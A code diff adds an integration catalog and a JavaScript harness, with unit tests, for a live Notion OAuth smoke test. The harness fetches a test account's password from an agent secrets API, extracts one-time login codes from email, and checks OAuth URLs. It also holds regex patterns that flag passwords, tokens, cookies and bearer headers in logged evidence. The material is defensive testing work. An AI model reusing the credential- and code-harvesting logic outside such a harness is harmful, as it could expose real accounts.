["sentry","Sentry","Investigate errors, releases, and production issues.","developer","sentry.io",["https://mcp.sentry.dev/*"],method("mcp-oauth","mcp_remote","oauth",{serverUrl:"https://mcp.sentry.dev/mcp",discoveryUrl:"https://sentry.io/.well-known/oauth-authorization-server"},"S2","Connect the Sentry organization and projects agents need for incident work.",{requiredResourceFilters:["organization","project","environment"]})],
|
||||
["vercel","Vercel","Inspect projects, deployments, and runtime logs.","developer","vercel.com",["https://mcp.vercel.com/*"],method("mcp-oauth","mcp_remote","oauth",{serverUrl:"https://mcp.vercel.com/mcp"},"S3","Connect the Vercel team and projects agents should operate.",{requiredResourceFilters:["team","project","environment"]})],
|
||||
["anthropic","Anthropic","Use Anthropic APIs with a restricted key.","ai","anthropic.com",["https://api.anthropic.com/*"],method("api-key","rest_api","api_key",{serviceHost:"api.anthropic.com"},"S3","Create a key in the Anthropic Console and rotate it if it has been exposed.",{credentialFields:[field("apiKey","API key","sk-ant-api03-...")],keyPlacement:{location:"header",name:"x-api-key"}})],
|
||||
].map(([slug,name,description,category,domain,urlPatterns,m,extra={}])=>({schemaVersion:1,slug,name,description,categories:[category],featured:["zapier","github","slack","notion","linear"].includes(slug),branding:{logoUrl:favicon(domain)},urlPatterns,methods:[m],...extra}));
|
||||
].map(([slug,name,description,category,domain,urlPatterns,m,extra={}])=>({schemaVersion:1,slug,name,description,categories:[category],featured:["zapier","github","slack","notion","posthog","linear"].includes(slug),branding:{logoUrl:favicon(domain)},urlPatterns,methods:Array.isArray(m)?m:[m],...extra}));
|
||||
const parseTableRow=(line)=>line.slice(1,-1).split("|").map((cell)=>cell.trim());
|
||||
const parseCapture=(fileName)=>{
|
||||
const markdown=fs.readFileSync(path.join(corpus,fileName),"utf8");
|
||||
|
|
|
|||
|
|
@ -0,0 +1,469 @@
|
|||
const REQUIRED_ENVIRONMENT = [
|
||||
"PAPERCLIP_E2E_BASE_URL",
|
||||
"PAPERCLIP_E2E_EMAIL",
|
||||
"PAPERCLIP_DEV_LOGIN_PASSWORD",
|
||||
"PAPERCLIP_API_URL",
|
||||
"PAPERCLIP_API_KEY",
|
||||
"PAPERCLIP_RUN_ID",
|
||||
"PAPERCLIP_TASK_ID",
|
||||
];
|
||||
|
||||
// Agent secret APIs expose access.notion_generic_flow_test_account under this
|
||||
// normalized delivery key; the live harness never reads any other binding.
|
||||
export const NOTION_SECRET_BINDING_KEY = "generic-flow-test-account";
|
||||
|
||||
const NOTION_LOGIN_MAIL_DOMAINS = ["notion.so", "makenotion.com"];
|
||||
|
||||
export class NotionGenericLivePreflightError extends Error {
|
||||
constructor(code, details = {}) {
|
||||
super(code);
|
||||
this.name = "NotionGenericLivePreflightError";
|
||||
this.code = code;
|
||||
this.details = details;
|
||||
}
|
||||
}
|
||||
|
||||
function emailDomain(value) {
|
||||
const match = String(value ?? "").match(/@([A-Za-z0-9.-]+)/);
|
||||
return match?.[1]?.toLowerCase().replace(/\.$/, "") ?? "";
|
||||
}
|
||||
|
||||
function notionMailDomain(value) {
|
||||
const domain = emailDomain(value);
|
||||
return NOTION_LOGIN_MAIL_DOMAINS.some((allowed) => domain === allowed || domain.endsWith(`.${allowed}`));
|
||||
}
|
||||
|
||||
export function isFreshNotionVerificationMessage(message, { notBefore }) {
|
||||
const timestamp = new Date(message?.timestamp ?? message?.createdAt ?? Number.NaN).getTime();
|
||||
const lowerSubject = String(message?.subject ?? "").toLowerCase();
|
||||
const challengeSubject = /(?:login|verification|one[-\s]?time|temporary|security).*(?:code|pin)|(?:code|pin).*(?:login|verification|one[-\s]?time|temporary|security)/i.test(lowerSubject);
|
||||
return notionMailDomain(message?.from)
|
||||
&& challengeSubject
|
||||
&& Number.isFinite(timestamp)
|
||||
&& timestamp >= new Date(notBefore).getTime();
|
||||
}
|
||||
|
||||
export function notionVerificationAuthenticationPassed(message) {
|
||||
const headers = message?.headers && typeof message.headers === "object" && !Array.isArray(message.headers)
|
||||
? message.headers
|
||||
: {};
|
||||
const authentication = Object.entries(headers)
|
||||
.filter(([key]) => key.toLowerCase().includes("authentication-results"))
|
||||
.map(([, value]) => String(value).toLowerCase())
|
||||
.join(" ");
|
||||
return authentication.includes("dkim=pass")
|
||||
&& (authentication.includes("dmarc=pass")
|
||||
|| authentication.includes("spf=pass")
|
||||
|| authentication.includes("arc=pass"));
|
||||
}
|
||||
|
||||
export function extractNotionVerificationCode(message) {
|
||||
const content = [
|
||||
message?.subject,
|
||||
message?.extractedText,
|
||||
message?.text,
|
||||
message?.extractedHtml,
|
||||
message?.html,
|
||||
]
|
||||
.filter((value) => typeof value === "string")
|
||||
.join("\n")
|
||||
.replace(/<[^>]+>/g, " ");
|
||||
const digitSequence = "([0-9](?:[\\s-]?[0-9]){5})";
|
||||
const patterns = [
|
||||
new RegExp(`(?:login|verification|one[-\\s]?time|temporary|security)[^\\n]{0,40}(?:code|pin)[^0-9]{0,40}${digitSequence}`, "gi"),
|
||||
new RegExp(`(?:code|pin)[^0-9]{0,40}${digitSequence}`, "gi"),
|
||||
new RegExp(`${digitSequence}[^\\n]{0,40}(?:login|verification|one[-\\s]?time|temporary|security)?[^\\n]{0,20}(?:code|pin)`, "gi"),
|
||||
];
|
||||
const codes = new Set();
|
||||
for (const pattern of patterns) {
|
||||
for (const match of content.matchAll(pattern)) {
|
||||
const code = match[1].replace(/[^0-9]/g, "");
|
||||
if (code.length === 6) codes.add(code);
|
||||
}
|
||||
}
|
||||
for (const label of content.matchAll(/(?:code|pin)/gi)) {
|
||||
const window = content.slice(label.index, label.index + 120);
|
||||
for (const match of window.matchAll(/(^|[^0-9])([0-9](?:[\s-]?[0-9]){5})(?![0-9])/g)) {
|
||||
codes.add(match[2].replace(/[^0-9]/g, ""));
|
||||
}
|
||||
}
|
||||
return codes.size === 1 ? [...codes][0] : null;
|
||||
}
|
||||
|
||||
function requiredValue(environment, key) {
|
||||
const value = environment[key];
|
||||
return typeof value === "string" ? value.trim() : "";
|
||||
}
|
||||
|
||||
function explicitHttpsOrigin(raw, code) {
|
||||
let value;
|
||||
try {
|
||||
value = new URL(raw);
|
||||
} catch {
|
||||
throw new NotionGenericLivePreflightError(code);
|
||||
}
|
||||
if (value.protocol !== "https:"
|
||||
|| value.username
|
||||
|| value.password
|
||||
|| value.search
|
||||
|| value.hash
|
||||
|| (value.pathname !== "/" && value.pathname !== "/api" && value.pathname !== "/api/")) {
|
||||
throw new NotionGenericLivePreflightError(code);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
export function preflightNotionGenericLive(environment = process.env) {
|
||||
const missing = REQUIRED_ENVIRONMENT.filter((key) => requiredValue(environment, key) === "");
|
||||
if (missing.length > 0) {
|
||||
throw new NotionGenericLivePreflightError("missing_environment", { missing });
|
||||
}
|
||||
|
||||
const base = explicitHttpsOrigin(requiredValue(environment, "PAPERCLIP_E2E_BASE_URL"), "unsafe_base_url");
|
||||
const api = explicitHttpsOrigin(requiredValue(environment, "PAPERCLIP_API_URL"), "unsafe_api_url");
|
||||
|
||||
const email = requiredValue(environment, "PAPERCLIP_E2E_EMAIL");
|
||||
if (!email.includes("@")) throw new NotionGenericLivePreflightError("invalid_paperclip_email");
|
||||
|
||||
return {
|
||||
baseUrl: base.origin,
|
||||
apiBaseUrl: `${api.origin}/api`,
|
||||
callbackUrl: `${base.origin}/api/tools/oauth/callback`,
|
||||
paperclipEmail: email,
|
||||
paperclipPassword: environment.PAPERCLIP_DEV_LOGIN_PASSWORD,
|
||||
agentApiKey: environment.PAPERCLIP_API_KEY,
|
||||
runId: environment.PAPERCLIP_RUN_ID,
|
||||
taskId: environment.PAPERCLIP_TASK_ID,
|
||||
secretBindingKey: NOTION_SECRET_BINDING_KEY,
|
||||
};
|
||||
}
|
||||
|
||||
async function responseJson(response, code) {
|
||||
try {
|
||||
return await response.json();
|
||||
} catch {
|
||||
throw new NotionGenericLivePreflightError(code);
|
||||
}
|
||||
}
|
||||
|
||||
async function fetchWithTimeout(fetchImpl, url, init) {
|
||||
try {
|
||||
return await fetchImpl(url, { ...init, signal: AbortSignal.timeout(15_000) });
|
||||
} catch {
|
||||
throw new NotionGenericLivePreflightError("request_failed");
|
||||
}
|
||||
}
|
||||
|
||||
export async function prepareNotionGenericLiveSmoke({
|
||||
environment = process.env,
|
||||
fetchImpl = globalThis.fetch,
|
||||
loadBrowser,
|
||||
}) {
|
||||
const config = preflightNotionGenericLive(environment);
|
||||
const healthResponse = await fetchWithTimeout(
|
||||
fetchImpl,
|
||||
new URL("/api/health", config.baseUrl),
|
||||
{ headers: { accept: "application/json" } },
|
||||
);
|
||||
if (!healthResponse.ok) {
|
||||
throw new NotionGenericLivePreflightError("health_http_error", { status: healthResponse.status });
|
||||
}
|
||||
const health = await responseJson(healthResponse, "health_invalid_json");
|
||||
if (health?.status !== "ok") throw new NotionGenericLivePreflightError("health_not_ok");
|
||||
|
||||
const secretsResponse = await fetchWithTimeout(
|
||||
fetchImpl,
|
||||
`${config.apiBaseUrl}/agents/me/secrets`,
|
||||
{
|
||||
headers: {
|
||||
accept: "application/json",
|
||||
authorization: `Bearer ${config.agentApiKey}`,
|
||||
},
|
||||
},
|
||||
);
|
||||
if (!secretsResponse.ok) {
|
||||
throw new NotionGenericLivePreflightError("secret_metadata_http_error", { status: secretsResponse.status });
|
||||
}
|
||||
const secretMetadata = await responseJson(secretsResponse, "secret_metadata_invalid_json");
|
||||
const available = Array.isArray(secretMetadata?.secrets)
|
||||
&& secretMetadata.secrets.some((entry) => entry?.key === config.secretBindingKey && entry?.delivery === "api");
|
||||
if (!available) throw new NotionGenericLivePreflightError("secret_binding_unavailable");
|
||||
|
||||
return { config, browserModule: await loadBrowser() };
|
||||
}
|
||||
|
||||
export async function fetchNotionTestCredentials(config, fetchImpl = globalThis.fetch) {
|
||||
const response = await fetchWithTimeout(
|
||||
fetchImpl,
|
||||
`${config.apiBaseUrl}/agents/me/secrets/${encodeURIComponent(config.secretBindingKey)}/value`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: {
|
||||
accept: "application/json",
|
||||
authorization: `Bearer ${config.agentApiKey}`,
|
||||
},
|
||||
},
|
||||
);
|
||||
if (!response.ok) {
|
||||
throw new NotionGenericLivePreflightError("secret_value_http_error", { status: response.status });
|
||||
}
|
||||
const body = await responseJson(response, "secret_value_invalid_json");
|
||||
if (typeof body?.value !== "string") {
|
||||
throw new NotionGenericLivePreflightError("secret_value_missing");
|
||||
}
|
||||
let credential;
|
||||
try {
|
||||
credential = JSON.parse(body.value);
|
||||
} catch {
|
||||
throw new NotionGenericLivePreflightError("secret_value_invalid_shape");
|
||||
}
|
||||
const username = [credential?.email, credential?.username, credential?.login]
|
||||
.find((value) => typeof value === "string" && value.trim());
|
||||
const password = typeof credential?.password === "string" ? credential.password : "";
|
||||
if (!username || !password) {
|
||||
throw new NotionGenericLivePreflightError("secret_value_invalid_shape");
|
||||
}
|
||||
return { username: username.trim(), password };
|
||||
}
|
||||
|
||||
export function assertAutomaticRegistrationSource(source) {
|
||||
if (source !== "cimd" && source !== "dcr") {
|
||||
throw new NotionGenericLivePreflightError("unexpected_registration_source");
|
||||
}
|
||||
return source;
|
||||
}
|
||||
|
||||
export function persistedOAuthStartResult(connection, authorizationUrl) {
|
||||
const cleanAuthorizationUrl = typeof authorizationUrl === "string" ? authorizationUrl.trim() : "";
|
||||
const oauth = connection?.config?.oauth;
|
||||
if (!connection?.id || !cleanAuthorizationUrl || !oauth || typeof oauth !== "object" || Array.isArray(oauth)) {
|
||||
return null;
|
||||
}
|
||||
return {
|
||||
connectionId: connection.id,
|
||||
authorizationUrl: cleanAuthorizationUrl,
|
||||
registrationSource: oauth.clientRegistrationSource ?? null,
|
||||
issuer: oauth.issuer ?? null,
|
||||
resource: oauth.resource ?? null,
|
||||
};
|
||||
}
|
||||
|
||||
function nonNegativeInteger(value) {
|
||||
return Number.isInteger(value) && value >= 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Normalize the server's sanitized removal receipt. Partial-flow cleanup may
|
||||
* legitimately remove zero installs or credentials; the completed smoke uses
|
||||
* the stricter mode to prove the installed/authenticated state was revoked.
|
||||
*/
|
||||
export function connectionRemovalFacts(receipt, { requireInstalled = false } = {}) {
|
||||
if (!receipt || typeof receipt !== "object" || Array.isArray(receipt)) return null;
|
||||
const numericFields = [
|
||||
"installsRemoved",
|
||||
"appProfileBindingsRemoved",
|
||||
"credentialRefsCleared",
|
||||
"secretsRevoked",
|
||||
"secretBindingsRemoved",
|
||||
"grantsRevoked",
|
||||
"oauthStatesDiscarded",
|
||||
"runtimeSlotsStopped",
|
||||
];
|
||||
if (numericFields.some((key) => !nonNegativeInteger(receipt[key]))) return null;
|
||||
const credentialsRemoved = receipt.credentialRefsCleared + receipt.secretsRevoked;
|
||||
if (!["absent", "deleted", "archived"].includes(receipt.appProfile)) return null;
|
||||
if (requireInstalled && (
|
||||
receipt.installsRemoved !== 1
|
||||
|| receipt.appProfileBindingsRemoved < 1
|
||||
|| credentialsRemoved < 1
|
||||
|| !["deleted", "archived"].includes(receipt.appProfile)
|
||||
)) return null;
|
||||
return {
|
||||
credentialsRemoved,
|
||||
secretBindingsRemoved: receipt.secretBindingsRemoved,
|
||||
grantsRevoked: receipt.grantsRevoked,
|
||||
accessBindingsRemoved: receipt.appProfileBindingsRemoved,
|
||||
installsRemoved: receipt.installsRemoved,
|
||||
oauthStatesDiscarded: receipt.oauthStatesDiscarded,
|
||||
runtimeSlotsStopped: receipt.runtimeSlotsStopped,
|
||||
appProfile: receipt.appProfile,
|
||||
};
|
||||
}
|
||||
|
||||
export function safeEndpointSummary(raw, label) {
|
||||
let endpoint;
|
||||
try {
|
||||
endpoint = new URL(raw);
|
||||
} catch {
|
||||
throw new NotionGenericLivePreflightError(`unsafe_${label}_endpoint`);
|
||||
}
|
||||
if (endpoint.protocol !== "https:"
|
||||
|| endpoint.username
|
||||
|| endpoint.password
|
||||
|| endpoint.search
|
||||
|| endpoint.hash) {
|
||||
throw new NotionGenericLivePreflightError(`unsafe_${label}_endpoint`);
|
||||
}
|
||||
return { origin: endpoint.origin, path: endpoint.pathname };
|
||||
}
|
||||
|
||||
export function inspectAuthorizationUrl(raw, {
|
||||
callbackUrl,
|
||||
resource,
|
||||
registrationSource,
|
||||
baseUrl,
|
||||
}) {
|
||||
let target;
|
||||
try {
|
||||
target = new URL(raw);
|
||||
} catch {
|
||||
throw new NotionGenericLivePreflightError("unsafe_authorization_endpoint");
|
||||
}
|
||||
if (target.protocol !== "https:" || target.username || target.password || target.hash) {
|
||||
throw new NotionGenericLivePreflightError("unsafe_authorization_endpoint");
|
||||
}
|
||||
const required = ["client_id", "state", "code_challenge", "redirect_uri", "resource"];
|
||||
if (required.some((key) => !target.searchParams.get(key))) {
|
||||
throw new NotionGenericLivePreflightError("authorization_parameter_missing");
|
||||
}
|
||||
if (target.searchParams.get("code_challenge_method") !== "S256") {
|
||||
throw new NotionGenericLivePreflightError("pkce_s256_missing");
|
||||
}
|
||||
if (target.searchParams.get("redirect_uri") !== callbackUrl) {
|
||||
throw new NotionGenericLivePreflightError("callback_uri_mismatch");
|
||||
}
|
||||
if (target.searchParams.get("resource") !== resource) {
|
||||
throw new NotionGenericLivePreflightError("resource_mismatch");
|
||||
}
|
||||
if (target.searchParams.get("response_type") !== "code") {
|
||||
throw new NotionGenericLivePreflightError("response_type_mismatch");
|
||||
}
|
||||
if (registrationSource === "cimd") {
|
||||
const expectedClientId = new URL("/api/tools/oauth/client-metadata", baseUrl).toString();
|
||||
if (target.searchParams.get("client_id") !== expectedClientId) {
|
||||
throw new NotionGenericLivePreflightError("cimd_client_id_mismatch");
|
||||
}
|
||||
}
|
||||
return {
|
||||
endpoint: { origin: target.origin, path: target.pathname },
|
||||
parameters: {
|
||||
clientId: true,
|
||||
state: true,
|
||||
pkceS256: true,
|
||||
callbackUri: true,
|
||||
resource: true,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function parsedJsonString(value) {
|
||||
const trimmed = value.trim();
|
||||
if (trimmed.length === 0 || trimmed.length > 200_000) return null;
|
||||
const fenced = trimmed.match(/^```(?:json)?\s*([\s\S]*?)\s*```$/i);
|
||||
for (const candidate of fenced ? [fenced[1], trimmed] : [trimmed]) {
|
||||
if (!candidate.startsWith("{") && !candidate.startsWith("[")) continue;
|
||||
try {
|
||||
return JSON.parse(candidate);
|
||||
} catch {
|
||||
// A later recursive branch may still contain structured content.
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export function extractNotionIdentity(value) {
|
||||
const seen = new Set();
|
||||
const facts = { workspaceId: null, workspaceName: null, botId: null };
|
||||
const visit = (candidate, depth) => {
|
||||
if (depth > 12 || candidate === null || candidate === undefined) return;
|
||||
if (typeof candidate === "string") {
|
||||
const parsed = parsedJsonString(candidate);
|
||||
if (parsed !== null) visit(parsed, depth + 1);
|
||||
return;
|
||||
}
|
||||
if (typeof candidate !== "object" || seen.has(candidate)) return;
|
||||
seen.add(candidate);
|
||||
if (!Array.isArray(candidate)) {
|
||||
const workspaceId = candidate.workspace_id ?? candidate.workspaceId;
|
||||
const workspaceName = candidate.workspace_name ?? candidate.workspaceName;
|
||||
if (!facts.workspaceId && typeof workspaceId === "string" && workspaceId.trim()) facts.workspaceId = workspaceId.trim();
|
||||
if (!facts.workspaceName && typeof workspaceName === "string" && workspaceName.trim()) facts.workspaceName = workspaceName.trim();
|
||||
if (!facts.botId && candidate.type === "bot" && typeof candidate.id === "string" && candidate.id.trim()) {
|
||||
facts.botId = candidate.id.trim();
|
||||
}
|
||||
}
|
||||
for (const child of Array.isArray(candidate) ? candidate : Object.values(candidate)) visit(child, depth + 1);
|
||||
};
|
||||
visit(value, 0);
|
||||
return (facts.workspaceId || facts.botId) && facts.workspaceName ? facts : null;
|
||||
}
|
||||
|
||||
export function parseSanitizedAgentProof(commentBody, expectedIdentity) {
|
||||
if (typeof commentBody !== "string") return null;
|
||||
const trimmed = commentBody.trim();
|
||||
const fenced = trimmed.match(/^```(?:json)?\s*([\s\S]*?)\s*```$/i);
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(fenced ? fenced[1] : trimmed);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return null;
|
||||
if (Object.keys(parsed).sort().join(",") !== "invocationId,workspaceId,workspaceName") return null;
|
||||
if (parsed.workspaceId !== expectedIdentity.workspaceId || parsed.workspaceName !== expectedIdentity.workspaceName) return null;
|
||||
if (typeof parsed.invocationId !== "string" || !parsed.invocationId.trim()) return null;
|
||||
return {
|
||||
workspaceId: parsed.workspaceId,
|
||||
workspaceName: parsed.workspaceName,
|
||||
invocationId: parsed.invocationId.trim(),
|
||||
};
|
||||
}
|
||||
|
||||
export function parseRuntimeAbsenceProof(commentBody, connectionId) {
|
||||
if (typeof commentBody !== "string") return null;
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(commentBody.trim());
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return null;
|
||||
if (Object.keys(parsed).sort().join(",") !== "connectionId,toolPresent") return null;
|
||||
return parsed.connectionId === connectionId && parsed.toolPresent === false
|
||||
? { connectionId, toolPresent: false }
|
||||
: null;
|
||||
}
|
||||
|
||||
const FORBIDDEN_EVIDENCE_KEYS = /(?:password|access[_-]?token|refresh[_-]?token|authorization|cookie|oauth[_-]?code|client[_-]?secret|session)/i;
|
||||
const FORBIDDEN_EVIDENCE_TEXT = /(?:authorization:\s*bearer|cookie:|[?&](?:code|state|token|access_token|refresh_token)=)/i;
|
||||
|
||||
export function assertSanitizedEvidence(value) {
|
||||
const seen = new Set();
|
||||
const visit = (candidate, path) => {
|
||||
if (candidate === null || candidate === undefined) return;
|
||||
if (typeof candidate === "string") {
|
||||
if (FORBIDDEN_EVIDENCE_TEXT.test(candidate)) throw new Error(`unsafe_evidence_text:${path}`);
|
||||
return;
|
||||
}
|
||||
if (typeof candidate !== "object" || seen.has(candidate)) return;
|
||||
seen.add(candidate);
|
||||
for (const [key, child] of Object.entries(candidate)) {
|
||||
if (FORBIDDEN_EVIDENCE_KEYS.test(key)) throw new Error(`unsafe_evidence_key:${path}.${key}`);
|
||||
visit(child, `${path}.${key}`);
|
||||
}
|
||||
};
|
||||
visit(value, "$");
|
||||
}
|
||||
|
||||
export function preflightFailureMessage(error) {
|
||||
if (!(error instanceof NotionGenericLivePreflightError)) {
|
||||
return "Notion generic live smoke preflight failed.";
|
||||
}
|
||||
if (error.code === "missing_environment") {
|
||||
return `Notion generic live smoke preflight failed: missing ${error.details.missing.join(", ")}.`;
|
||||
}
|
||||
if (error.code === "health_http_error") {
|
||||
return `Notion generic live smoke preflight failed: /api/health returned HTTP ${error.details.status}.`;
|
||||
}
|
||||
return `Notion generic live smoke preflight failed: ${error.code}.`;
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,286 @@
|
|||
import assert from "node:assert/strict";
|
||||
import test from "node:test";
|
||||
import {
|
||||
assertAutomaticRegistrationSource,
|
||||
assertSanitizedEvidence,
|
||||
connectionRemovalFacts,
|
||||
extractNotionIdentity,
|
||||
extractNotionVerificationCode,
|
||||
inspectAuthorizationUrl,
|
||||
isFreshNotionVerificationMessage,
|
||||
NotionGenericLivePreflightError,
|
||||
notionVerificationAuthenticationPassed,
|
||||
parseRuntimeAbsenceProof,
|
||||
parseSanitizedAgentProof,
|
||||
persistedOAuthStartResult,
|
||||
preflightNotionGenericLive,
|
||||
prepareNotionGenericLiveSmoke,
|
||||
safeEndpointSummary,
|
||||
} from "./notion-generic-live-lib.mjs";
|
||||
|
||||
const COMPLETE_ENV = {
|
||||
PAPERCLIP_E2E_BASE_URL: "https://paperclip.example.test",
|
||||
PAPERCLIP_E2E_EMAIL: "operator@example.test",
|
||||
PAPERCLIP_DEV_LOGIN_PASSWORD: "not-a-real-password",
|
||||
PAPERCLIP_API_URL: "https://paperclip.example.test/api",
|
||||
PAPERCLIP_API_KEY: "not-a-real-agent-key",
|
||||
PAPERCLIP_RUN_ID: "run-123",
|
||||
PAPERCLIP_TASK_ID: "issue-123",
|
||||
};
|
||||
|
||||
test("preflight reports binding names without exposing supplied values", () => {
|
||||
assert.throws(
|
||||
() => preflightNotionGenericLive({ PAPERCLIP_DEV_LOGIN_PASSWORD: "present" }),
|
||||
(error) => {
|
||||
assert.ok(error instanceof NotionGenericLivePreflightError);
|
||||
assert.equal(error.code, "missing_environment");
|
||||
assert.deepEqual(error.details.missing, [
|
||||
"PAPERCLIP_E2E_BASE_URL",
|
||||
"PAPERCLIP_E2E_EMAIL",
|
||||
"PAPERCLIP_API_URL",
|
||||
"PAPERCLIP_API_KEY",
|
||||
"PAPERCLIP_RUN_ID",
|
||||
"PAPERCLIP_TASK_ID",
|
||||
]);
|
||||
assert.doesNotMatch(error.message, /present/);
|
||||
return true;
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
test("preflight requires explicit credential-free HTTPS target and control-plane URLs", () => {
|
||||
for (const baseUrl of [
|
||||
"http://127.0.0.1:3100",
|
||||
"http://paperclip.example.test",
|
||||
"https://user:secret@paperclip.example.test",
|
||||
"https://paperclip.example.test/?code=secret",
|
||||
]) {
|
||||
assert.throws(
|
||||
() => preflightNotionGenericLive({ ...COMPLETE_ENV, PAPERCLIP_E2E_BASE_URL: baseUrl }),
|
||||
(error) => error instanceof NotionGenericLivePreflightError && error.code === "unsafe_base_url",
|
||||
);
|
||||
}
|
||||
const split = preflightNotionGenericLive({
|
||||
...COMPLETE_ENV,
|
||||
PAPERCLIP_API_URL: "https://control-plane.example.test/api",
|
||||
});
|
||||
assert.equal(split.baseUrl, "https://paperclip.example.test");
|
||||
assert.equal(split.apiBaseUrl, "https://control-plane.example.test/api");
|
||||
});
|
||||
|
||||
test("health and binding metadata pass before browser loading, without fetching the value", async () => {
|
||||
const requests = [];
|
||||
let browserLoaded = false;
|
||||
const prepared = await prepareNotionGenericLiveSmoke({
|
||||
environment: COMPLETE_ENV,
|
||||
fetchImpl: async (url, init = {}) => {
|
||||
requests.push({ url: String(url), method: init.method ?? "GET" });
|
||||
if (String(url).endsWith("/api/health")) {
|
||||
return { ok: true, json: async () => ({ status: "ok" }) };
|
||||
}
|
||||
return {
|
||||
ok: true,
|
||||
json: async () => ({ secrets: [{ key: "generic-flow-test-account", delivery: "api" }] }),
|
||||
};
|
||||
},
|
||||
loadBrowser: async () => {
|
||||
browserLoaded = true;
|
||||
return { chromium: {} };
|
||||
},
|
||||
});
|
||||
assert.equal(prepared.config.callbackUrl, "https://paperclip.example.test/api/tools/oauth/callback");
|
||||
assert.equal(browserLoaded, true);
|
||||
assert.deepEqual(requests.map((entry) => entry.method), ["GET", "GET"]);
|
||||
assert.equal(requests.some((entry) => entry.url.includes("/value")), false);
|
||||
});
|
||||
|
||||
test("an unavailable secret binding fails before browser or credential entry", async () => {
|
||||
let browserLoaded = false;
|
||||
await assert.rejects(
|
||||
prepareNotionGenericLiveSmoke({
|
||||
environment: COMPLETE_ENV,
|
||||
fetchImpl: async (url) => String(url).endsWith("/api/health")
|
||||
? { ok: true, json: async () => ({ status: "ok" }) }
|
||||
: { ok: true, json: async () => ({ secrets: [] }) },
|
||||
loadBrowser: async () => {
|
||||
browserLoaded = true;
|
||||
},
|
||||
}),
|
||||
(error) => error instanceof NotionGenericLivePreflightError && error.code === "secret_binding_unavailable",
|
||||
);
|
||||
assert.equal(browserLoaded, false);
|
||||
});
|
||||
|
||||
test("selects only fresh authenticated Notion verification mail and extracts one code", () => {
|
||||
const notBefore = new Date("2026-08-18T12:00:00.000Z");
|
||||
const message = {
|
||||
timestamp: new Date("2026-08-18T12:00:05.000Z"),
|
||||
from: "Notion <login@mail.notion.so>",
|
||||
subject: "Your Notion login code",
|
||||
extractedText: "Your temporary login code is 123 456.",
|
||||
headers: {
|
||||
"authentication-results": "dkim=pass; spf=pass; dmarc=pass",
|
||||
},
|
||||
};
|
||||
assert.equal(isFreshNotionVerificationMessage(message, { notBefore }), true);
|
||||
assert.equal(notionVerificationAuthenticationPassed(message), true);
|
||||
assert.equal(extractNotionVerificationCode(message), "123456");
|
||||
assert.equal(isFreshNotionVerificationMessage({
|
||||
...message,
|
||||
timestamp: new Date("2026-08-18T11:59:59.000Z"),
|
||||
}, { notBefore }), false);
|
||||
assert.equal(isFreshNotionVerificationMessage({
|
||||
...message,
|
||||
from: "Notion <login@example.test>",
|
||||
}, { notBefore }), false);
|
||||
assert.equal(notionVerificationAuthenticationPassed({
|
||||
...message,
|
||||
headers: { "authentication-results": "dkim=fail; spf=pass" },
|
||||
}), false);
|
||||
assert.equal(extractNotionVerificationCode({ ...message, extractedText: "Codes 123456 and 654321" }), null);
|
||||
});
|
||||
|
||||
test("authorization proof requires automatic registration, PKCE, callback, resource, and safe endpoints", () => {
|
||||
assert.equal(assertAutomaticRegistrationSource("cimd"), "cimd");
|
||||
assert.equal(assertAutomaticRegistrationSource("dcr"), "dcr");
|
||||
for (const source of ["manual", "preconfigured", null]) {
|
||||
assert.throws(
|
||||
() => assertAutomaticRegistrationSource(source),
|
||||
(error) => error instanceof NotionGenericLivePreflightError && error.code === "unexpected_registration_source",
|
||||
);
|
||||
}
|
||||
|
||||
const baseUrl = "https://paperclip.example.test";
|
||||
const callbackUrl = `${baseUrl}/api/tools/oauth/callback`;
|
||||
const resource = "https://mcp.notion.com/mcp";
|
||||
const url = new URL("https://mcp.notion.com/authorize");
|
||||
url.searchParams.set("response_type", "code");
|
||||
url.searchParams.set("client_id", `${baseUrl}/api/tools/oauth/client-metadata`);
|
||||
url.searchParams.set("redirect_uri", callbackUrl);
|
||||
url.searchParams.set("state", "not-recorded");
|
||||
url.searchParams.set("code_challenge", "not-recorded");
|
||||
url.searchParams.set("code_challenge_method", "S256");
|
||||
url.searchParams.set("resource", resource);
|
||||
|
||||
assert.deepEqual(inspectAuthorizationUrl(url.toString(), {
|
||||
callbackUrl,
|
||||
resource,
|
||||
registrationSource: "cimd",
|
||||
baseUrl,
|
||||
}), {
|
||||
endpoint: { origin: "https://mcp.notion.com", path: "/authorize" },
|
||||
parameters: { clientId: true, state: true, pkceS256: true, callbackUri: true, resource: true },
|
||||
});
|
||||
assert.deepEqual(safeEndpointSummary("https://mcp.notion.com/token", "token"), {
|
||||
origin: "https://mcp.notion.com",
|
||||
path: "/token",
|
||||
});
|
||||
assert.throws(
|
||||
() => safeEndpointSummary("http://mcp.notion.com/token", "token"),
|
||||
(error) => error instanceof NotionGenericLivePreflightError && error.code === "unsafe_token_endpoint",
|
||||
);
|
||||
});
|
||||
|
||||
test("authorization proof rejects a provider login page after OAuth parameters were consumed", () => {
|
||||
assert.throws(
|
||||
() => inspectAuthorizationUrl("https://id.notion.test/login", {
|
||||
callbackUrl: "https://paperclip.example/api/tools/oauth/callback",
|
||||
resource: "https://mcp.notion.com/mcp",
|
||||
registrationSource: "dcr",
|
||||
baseUrl: "https://paperclip.example",
|
||||
}),
|
||||
(error) => error instanceof NotionGenericLivePreflightError
|
||||
&& error.code === "authorization_parameter_missing",
|
||||
);
|
||||
});
|
||||
|
||||
test("reconstructs the inline OAuth start from durable connection state and provider navigation", () => {
|
||||
assert.deepEqual(persistedOAuthStartResult({
|
||||
id: "connection-123",
|
||||
config: {
|
||||
oauth: {
|
||||
clientRegistrationSource: "cimd",
|
||||
issuer: "https://mcp.notion.com",
|
||||
resource: "https://mcp.notion.com/mcp",
|
||||
},
|
||||
},
|
||||
}, " https://mcp.notion.com/authorize?state=not-recorded "), {
|
||||
connectionId: "connection-123",
|
||||
